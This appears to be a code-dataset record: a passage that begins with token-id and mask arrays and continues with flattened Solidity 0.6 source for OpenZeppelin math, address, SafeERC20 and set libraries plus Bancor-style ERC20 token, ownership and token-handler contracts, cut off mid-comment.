2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
1035,
21447,
2015,
1031,
3954,
1033,
1031,
5247,
2121,
1033,
1025,
1065,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3815,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
1035,
14300,
1006,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
5247,
2121,
1010,
3815,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
1035,
4651,
1006,
4604,
2121,
1010,
7799,
1010,
3815,
1007,
1025,
1035,
14300,
1006,
4604,
2121,
1010,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1035,
21447,
2015,
1031,
4604,
2121,
1033,
1031,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1033,
1012,
4942,
1006,
3815,
1010,
1000,
9413,
2278,
11387,
1024,
4651,
3815,
23651,
21447,
1000,
1007,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
3623,
8095,
21293,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: contracts/IETradingNFT.sol
pragma solidity 0.6.12;
interface IETradingNFT {
function mint(address _to, uint256 _id, uint256 _quantity, bytes memory _data) external ;
function totalSupply(uint256 _id) external view returns (uint256);
function maxSupply(uint256 _id) external view returns (uint256);
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data) external;
}
// File: contracts/token/interfaces/IERC20Token.sol
pragma solidity 0.6.12;
/*
ERC20 Standard Token interface
*/
interface IERC20Token {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function eulerBalances(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
}
// File: contracts/token/utility/Utils.sol
pragma solidity 0.6.12;
/**
* @dev Utilities & Common Modifiers
*/
contract Utils {
// verifies that a value is greater than zero
modifier greaterThanZero(uint256 _value) {
_greaterThanZero(_value);
_;
}
// error message binary size optimization
function _greaterThanZero(uint256 _value) internal pure {
require(_value > 0, "ERR_ZERO_VALUE");
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
_validAddress(_address);
_;
}
// error message binary size optimization
function _validAddress(address _address) internal pure {
require(_address != address(0), "ERR_INVALID_ADDRESS");
}
// verifies that the address is different than this contract address
modifier notThis(address _address) {
_notThis(_address);
_;
}
// error message binary size optimization
function _notThis(address _address) internal view {
require(_address != address(this), "ERR_ADDRESS_IS_SELF");
}
}
// File: contracts/token/ERC20Token.sol
pragma solidity 0.6.12;
/**
* @dev ERC20 Standard Token implementation
*/
contract ERC20Token is IERC20Token, Utils {
using SafeMath for uint256;
string public override name;
string public override symbol;
uint8 public override decimals;
uint256 public override totalSupply;
mapping (address => uint256) public override eulerBalances;
mapping (address => mapping (address => uint256)) public override allowance;
/**
* @dev triggered when tokens are transferred between wallets
*
* @param _from source address
* @param _to target address
* @param _value transfer amount
*/
event Transfer(address indexed _from, address indexed _to, uint256 _value);
/**
* @dev triggered when a wallet allows another wallet to transfer tokens from on its behalf
*
* @param _owner wallet that approves the allowance
* @param _spender wallet that receives the allowance
* @param _value allowance amount
*/
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/**
* @dev initializes a new ERC20Token instance
*
* @param _name token name
* @param _symbol token symbol
* @param _totalSupply total supply of token units
*/
constructor(string memory _name, string memory _symbol, uint256 _totalSupply) public {
// validate input
require(bytes(_name).length > 0, "ERR_INVALID_NAME");
require(bytes(_symbol).length > 0, "ERR_INVALID_SYMBOL");
name = _name;
symbol = _symbol;
decimals = 18;
totalSupply = _totalSupply;
eulerBalances[msg.sender] = _totalSupply;
}
/**
* @dev transfers tokens to a given address
* throws on any error rather then return a false flag to minimize user errors
*
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful, false if it wasn't
*/
function transfer(address _to, uint256 _value)
public
virtual
override
validAddress(_to)
returns (bool)
{
eulerBalances[msg.sender] = eulerBalances[msg.sender].sub(_value);
eulerBalances[_to] = eulerBalances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev transfers tokens to a given address on behalf of another address
* throws on any error rather then return a false flag to minimize user errors
*
* @param _from source address
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful, false if it wasn't
*/
function transferFrom(address _from, address _to, uint256 _value)
public
virtual
override
validAddress(_from)
validAddress(_to)
returns (bool)
{
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
eulerBalances[_from] = eulerBalances[_from].sub(_value);
eulerBalances[_to] = eulerBalances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev allows another account/contract to transfers tokens on behalf of the caller
* throws on any error rather then return a false flag to minimize user errors
*
* also, to minimize the risk of the approve/transferFrom attack vector
* (see https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/), approve has to be called twice
* in 2 separate transactions - once to change the allowance to 0 and secondly to change it to the new allowance value
*
* @param _spender approved address
* @param _value allowance amount
*
* @return true if the approval was successful, false if it wasn't
*/
function approve(address _spender, uint256 _value)
public
virtual
override
validAddress(_spender)
returns (bool)
{
// if the allowance isn't 0, it can only be updated to 0 to prevent an allowance change immediately after withdrawal
require(_value == 0 || allowance[msg.sender][_spender] == 0, "ERR_INVALID_AMOUNT");
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
// File: contracts/token/utility/interfaces/IOwned.sol
pragma solidity 0.6.12;
/*
Owned contract interface
*/
interface IOwned {
// this function isn't since the compiler emits automatically generated getter functions as external
function owner() external view returns (address);
function transferOwnership(address _newOwner) external;
function acceptOwnership() external;
}
// File: contracts/token/utility/interfaces/ITokenHolder.sol
pragma solidity 0.6.12;
/*
Token Holder interface
*/
interface ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) external;
}
// File: contracts/token/utility/interfaces/IConverterAnchor.sol
pragma solidity 0.6.12;
/*
Converter Anchor interface
*/
interface IConverterAnchor is IOwned, ITokenHolder {
}
// File: contracts/token/interfaces/IEulerToken.sol
pragma solidity 0.6.12;
/*
Euler Token interface
*/
interface IEulerToken is IConverterAnchor, IERC20Token {
function disableTransfers(bool _disable) external;
function issue(address _to, uint256 _amount) external;
function destroy(address _from, uint256 _amount) external;
}
// File: contracts/token/utility/Owned.sol
pragma solidity 0.6.12;
/**
* @dev Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public override owner;
address public newOwner;
/**
* @dev triggered when the owner is updated
*
* @param _prevOwner previous owner
* @param _newOwner new owner
*/
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
* @dev initializes a new Owned instance
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier onlyOwner {
_onlyOwner();
_;
}
// error message binary size optimization
function _onlyOwner() internal view {
require(msg.sender == owner, "ERR_ACCESS_DENIED");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnerUpdate(owner, address(0));
owner = address(0);
}
/**
* @dev allows transferring the contract ownership
* the new owner still needs to accept the transfer
* can only be called by the contract owner
*
* @param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public override onlyOwner {
require(_newOwner != owner, "ERR_SAME_OWNER");
newOwner = _newOwner;
}
/**
* @dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() override public {
require(msg.sender == newOwner, "ERR_ACCESS_DENIED");
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// File: contracts/token/utility/TokenHandler.sol
pragma solidity 0.6.12;
contract TokenHandler {
bytes4 private constant APPROVE_FUNC_SELECTOR = bytes4(keccak256("approve(address,uint256)"));
bytes4 private constant TRANSFER_FUNC_SELECTOR = bytes4(keccak256("transfer(address,uint256)"));
bytes4 private constant TRANSFER_FROM_FUNC_SELECTOR = bytes4(keccak256("transferFrom(address,address,uint256)"));
/**
* @dev executes the ERC20 token's `approve` function and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
* from failing silently
*
* @param _token ERC20 token address
* @param _spender approved address
* @param _value allowance amount
*/
function safeApprove(IERC20Token _token, address _spender, uint256 _value) internal {
(bool success, bytes memory data) = address(_token).call(abi.encodeWithSelector(APPROVE_FUNC_SELECTOR, _spender, _value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ERR_APPROVE_FAILED');
}
/**
* @dev executes the ERC20 token's `transfer` function and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
* from failing silently
*
* @param _token ERC20 token address
* @param _to target address
* @param _value transfer amount
*/
function safeTransfer(IERC20Token _token, address _to, uint256 _value) internal {
(bool success, bytes memory data) = address(_token).call(abi.encodeWithSelector(TRANSFER_FUNC_SELECTOR, _to, _value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ERR_TRANSFER_FAILED');
}
/**
* @dev executes the ERC20 token's `transferFrom` function and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
